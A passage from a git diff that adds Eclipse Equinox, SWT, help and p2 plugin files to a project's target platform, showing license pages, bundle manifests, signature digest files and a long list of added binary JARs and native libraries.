    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/eclipse_1407.so new file mode 100755 index 0000000..4046a48 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/launcher.gtk.solaris.x86.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/launcher.gtk.solaris.x86.properties new file mode 100755 index 0000000..d5d3b33 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.solaris.x86_1.1.100.v20110505/launcher.gtk.solaris.x86.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Solaris X86 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..87190a2 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..5bdf036 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: BDZWRijD+CB1YmeJ3Bo0wM3D92U= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: hzhJdkcFT0dJuNeLFxT12jZSgsA= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1406.dll +SHA1-Digest: MoK0x5BY5cPoGZZOy5noIgvjs88= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + +Name: launcher.win32.win32.x86.properties +SHA1-Digest: ea7jtIFk2D6euUxmC23xH/XKB1U= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/MANIFEST.MF new file mode 100755 index 0000000..3ef3e44 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=win32) (osgi.os=win32) (osgi.arch= + x86)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.win32.win32.x86 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.win32.win32.x86; sin + gleton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.win32.win32.x86;tag=v20110502 +Bundle-Version: 1.1.100.v20110502 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1406.dll +SHA1-Digest: f15Pl/Vqgy/H67b2L6KFCh7u8YY= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + +Name: launcher.win32.win32.x86.properties +SHA1-Digest: YNXsIbwMELAiSpEIkaURfbAwQF0= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/eclipse_1406.dll b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/eclipse_1406.dll new file mode 100755 index 0000000..092d868 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/eclipse_1406.dll differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/launcher.win32.win32.x86.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/launcher.win32.win32.x86.properties new file mode 100755 index 0000000..b58bc5c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502/launcher.win32.win32.x86.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Win32 X86 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..6b708c2 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..5031442 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: dLAQCcrFz2vpfNVZGEpN/AvqvTg= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: XHU4yjPYkWMAD87htea84lIcvSw= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: launcher.win32.win32.x86_64.properties +SHA1-Digest: 2922B5UfzZTg1BNFv/dyez9I0d4= + +Name: eclipse_1406.dll +SHA1-Digest: /YFX7fegMk7jICJWCHl7tOMqTjA= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/MANIFEST.MF new file mode 100755 index 0000000..6b23213 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=win32) (osgi.os=win32) (osgi.arch= + x86_64)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.win32.win32.x86_64 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.win32.win32.x86_64;s + ingleton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.win32.win32.x86_64;tag=v20110502 +Bundle-Version: 1.1.100.v20110502 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: launcher.win32.win32.x86_64.properties +SHA1-Digest: FXCj0hmlTsDcRpLG02SQY7cI27M= + +Name: eclipse_1406.dll +SHA1-Digest: wCEEEpZQS+/WUGRJ7tkTUdejs4k= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/eclipse_1406.dll b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/eclipse_1406.dll new file mode 100755 index 0000000..f1a626d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/eclipse_1406.dll differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/launcher.win32.win32.x86_64.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/launcher.win32.win32.x86_64.properties new file mode 100755 index 0000000..6bb1696 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502/launcher.win32.win32.x86_64.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Win32 X86_64 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar b/targetPlatform/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar new file mode 100755 index 0000000..59def73 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.artifact.repository_1.1.101.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.artifact.repository_1.1.101.v20110815-1419.jar new file mode 100755 index 0000000..5cfe22c Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.artifact.repository_1.1.101.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.console_1.0.300.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.console_1.0.300.v20110815-1419.jar new file mode 100755 index 0000000..9f445ff Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.console_1.0.300.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.core_2.1.1.v20120113-1346.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.core_2.1.1.v20120113-1346.jar new file mode 100755 index 0000000..1a33600 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.core_2.1.1.v20120113-1346.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.director_2.1.1.v20111126-0211.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.director_2.1.1.v20111126-0211.jar new file mode 100755 index 0000000..cd9e3d3 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.director_2.1.1.v20111126-0211.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.engine_2.1.1.R37x_v20111003.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.engine_2.1.1.R37x_v20111003.jar new file mode 100755 index 0000000..7478a08 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.engine_2.1.1.R37x_v20111003.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.garbagecollector_1.0.200.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.garbagecollector_1.0.200.v20110815-1419.jar new file mode 100755 index 0000000..30064a5 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.garbagecollector_1.0.200.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.jarprocessor_1.0.200.v20110815-1438.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.jarprocessor_1.0.200.v20110815-1438.jar new file mode 100755 index 0000000..4cfd844 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.jarprocessor_1.0.200.v20110815-1438.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.metadata.repository_1.2.0.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.metadata.repository_1.2.0.v20110815-1419.jar new file mode 100755 index 0000000..e1b6ff4 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.metadata.repository_1.2.0.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.metadata_2.1.0.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.metadata_2.1.0.v20110815-1419.jar new file mode 100755 index 0000000..7d1663e Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.metadata_2.1.0.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.operations_2.1.1.R37x_v20111111.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.operations_2.1.1.R37x_v20111111.jar new file mode 100755 index 0000000..ed3f1ea Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.operations_2.1.1.R37x_v20111111.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.ql_2.0.100.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.ql_2.0.100.v20110815-1419.jar new file mode 100755 index 0000000..2ac9006 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.ql_2.0.100.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.repository_2.1.1.v20120113-1346.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.repository_2.1.1.v20120113-1346.jar new file mode 100755 index 0000000..5028f97 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.repository_2.1.1.v20120113-1346.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.touchpoint.eclipse_2.1.1.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.touchpoint.eclipse_2.1.1.v20110815-1419.jar new file mode 100755 index 0000000..23fd4c5 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.touchpoint.eclipse_2.1.1.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.touchpoint.natives_1.0.300.v20110815-1419.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.touchpoint.natives_1.0.300.v20110815-1419.jar new file mode 100755 index 0000000..a2ea99e Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.touchpoint.natives_1.0.300.v20110815-1419.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.transport.ecf_1.0.0.v20111128-0624.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.transport.ecf_1.0.0.v20111128-0624.jar new file mode 100755 index 0000000..7237349 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.transport.ecf_1.0.0.v20111128-0624.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.p2.ui_2.1.1.v20120113-1346.jar b/targetPlatform/plugins/org.eclipse.equinox.p2.ui_2.1.1.v20120113-1346.jar new file mode 100755 index 0000000..987d3c5 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.p2.ui_2.1.1.v20120113-1346.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.preferences_3.4.2.v20120111-2020.jar b/targetPlatform/plugins/org.eclipse.equinox.preferences_3.4.2.v20120111-2020.jar new file mode 100755 index 0000000..386cbff Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.preferences_3.4.2.v20120111-2020.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.registry_3.5.101.R37x_v20110810-1611.jar b/targetPlatform/plugins/org.eclipse.equinox.registry_3.5.101.R37x_v20110810-1611.jar new file mode 100755 index 0000000..c2732f4 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.registry_3.5.101.R37x_v20110810-1611.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.security.macosx_1.100.100.v20100503.jar b/targetPlatform/plugins/org.eclipse.equinox.security.macosx_1.100.100.v20100503.jar new file mode 100755 index 0000000..4a3155a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.security.macosx_1.100.100.v20100503.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.security.ui_1.1.0.v20101004.jar b/targetPlatform/plugins/org.eclipse.equinox.security.ui_1.1.0.v20101004.jar new file mode 100755 index 0000000..360c7f0 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.security.ui_1.1.0.v20101004.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.security.win32.x86_1.0.200.v20100503.jar b/targetPlatform/plugins/org.eclipse.equinox.security.win32.x86_1.0.200.v20100503.jar new file mode 100755 index 0000000..eaefbc3 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.security.win32.x86_1.0.200.v20100503.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.security.win32.x86_64_1.0.0.v20110502.jar b/targetPlatform/plugins/org.eclipse.equinox.security.win32.x86_64_1.0.0.v20110502.jar new file mode 100755 index 0000000..d4ffc3b Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.security.win32.x86_64_1.0.0.v20110502.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.security_1.1.1.R37x_v20110822-1018.jar b/targetPlatform/plugins/org.eclipse.equinox.security_1.1.1.R37x_v20110822-1018.jar new file mode 100755 index 0000000..1e83dd0 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.security_1.1.1.R37x_v20110822-1018.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20110815-1438.jar b/targetPlatform/plugins/org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20110815-1438.jar new file mode 100755 index 0000000..06b220a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20110815-1438.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.simpleconfigurator_1.0.200.v20110815-1438.jar b/targetPlatform/plugins/org.eclipse.equinox.simpleconfigurator_1.0.200.v20110815-1438.jar new file mode 100755 index 0000000..f5e3aba Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.simpleconfigurator_1.0.200.v20110815-1438.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.util_1.0.300.v20110502.jar b/targetPlatform/plugins/org.eclipse.equinox.util_1.0.300.v20110502.jar new file mode 100755 index 0000000..b719d4f Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.util_1.0.300.v20110502.jar differ diff --git a/targetPlatform/plugins/org.eclipse.help.base_3.6.2.v201202080800.jar b/targetPlatform/plugins/org.eclipse.help.base_3.6.2.v201202080800.jar new file mode 100755 index 0000000..ae02247 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.help.base_3.6.2.v201202080800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.help.ui_3.5.101.r37_20110819.jar b/targetPlatform/plugins/org.eclipse.help.ui_3.5.101.r37_20110819.jar new file mode 100755 index 0000000..9946dfd Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.help.ui_3.5.101.r37_20110819.jar differ diff --git a/targetPlatform/plugins/org.eclipse.help.webapp_3.6.1.r37_20110929.jar b/targetPlatform/plugins/org.eclipse.help.webapp_3.6.1.r37_20110929.jar new file mode 100755 index 0000000..6d0dbec Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.help.webapp_3.6.1.r37_20110929.jar differ diff --git a/targetPlatform/plugins/org.eclipse.help_3.5.100.v20110426.jar b/targetPlatform/plugins/org.eclipse.help_3.5.100.v20110426.jar new file mode 100755 index 0000000..3ed0fb5 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.help_3.5.100.v20110426.jar differ diff --git a/targetPlatform/plugins/org.eclipse.jface.databinding_1.5.0.I20100907-0800.jar b/targetPlatform/plugins/org.eclipse.jface.databinding_1.5.0.I20100907-0800.jar new file mode 100755 index 0000000..5cbd606 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.jface.databinding_1.5.0.I20100907-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.jface.text_3.7.2.v20111213-1208.jar b/targetPlatform/plugins/org.eclipse.jface.text_3.7.2.v20111213-1208.jar new file mode 100755 index 0000000..f2b760b Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.jface.text_3.7.2.v20111213-1208.jar differ diff --git a/targetPlatform/plugins/org.eclipse.jface_3.7.0.v20110928-1505.jar b/targetPlatform/plugins/org.eclipse.jface_3.7.0.v20110928-1505.jar new file mode 100755 index 0000000..50edb2d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.jface_3.7.0.v20110928-1505.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ltk.core.refactoring_3.5.201.r372_v20111101-0700.jar b/targetPlatform/plugins/org.eclipse.ltk.core.refactoring_3.5.201.r372_v20111101-0700.jar new file mode 100755 index 0000000..a25e9df Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ltk.core.refactoring_3.5.201.r372_v20111101-0700.jar differ diff --git a/targetPlatform/plugins/org.eclipse.nebula.widgets.grid_1.0.0.201312041736.jar b/targetPlatform/plugins/org.eclipse.nebula.widgets.grid_1.0.0.201312041736.jar new file mode 100755 index 0000000..8598edb Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.nebula.widgets.grid_1.0.0.201312041736.jar differ diff --git a/targetPlatform/plugins/org.eclipse.osgi.services_3.3.0.v20110513.jar b/targetPlatform/plugins/org.eclipse.osgi.services_3.3.0.v20110513.jar new file mode 100755 index 0000000..79f5049 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.osgi.services_3.3.0.v20110513.jar differ diff --git a/targetPlatform/plugins/org.eclipse.osgi_3.7.2.v20120110-1415.jar b/targetPlatform/plugins/org.eclipse.osgi_3.7.2.v20120110-1415.jar new file mode 100755 index 0000000..25f1180 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.osgi_3.7.2.v20120110-1415.jar differ diff --git a/targetPlatform/plugins/org.eclipse.rcp_3.7.2.v201202080800.jar b/targetPlatform/plugins/org.eclipse.rcp_3.7.2.v201202080800.jar new file mode 100755 index 0000000..2a51e32 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.rcp_3.7.2.v201202080800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.cocoa.macosx.x86_64_3.102.0.v20130605-1544.jar b/targetPlatform/plugins/org.eclipse.swt.cocoa.macosx.x86_64_3.102.0.v20130605-1544.jar new file mode 100755 index 0000000..8d34a90 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.cocoa.macosx.x86_64_3.102.0.v20130605-1544.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.cocoa.macosx_3.102.0.v20130605-1544.jar b/targetPlatform/plugins/org.eclipse.swt.cocoa.macosx_3.102.0.v20130605-1544.jar new file mode 100755 index 0000000..133c348 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.cocoa.macosx_3.102.0.v20130605-1544.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.aix.ppc64_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.aix.ppc64_3.7.2.v3740f.jar new file mode 100755 index 0000000..8d267f2 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.aix.ppc64_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.aix.ppc_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.aix.ppc_3.7.2.v3740f.jar new file mode 100755 index 0000000..281210f Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.aix.ppc_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.hpux.ia64_32_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.hpux.ia64_32_3.7.2.v3740f.jar new file mode 100755 index 0000000..c0b079d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.hpux.ia64_32_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.linux.ppc64_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.ppc64_3.7.2.v3740f.jar new file mode 100755 index 0000000..39a1fde Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.ppc64_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.linux.s390_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.s390_3.7.2.v3740f.jar new file mode 100755 index 0000000..832f139 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.s390_3.7.2.v3740f.jar differ diff --git a/targetPlatform/plugins/org.eclipse.swt.gtk.linux.s390x_3.7.2.v3740f.jar b/targetPlatform/plugins/org.eclipse.swt.gtk.linux.s390x_3.7.2.v3740f.jar new file mode 100755 index 0000000..d9d2efa Binary files /dev/null and 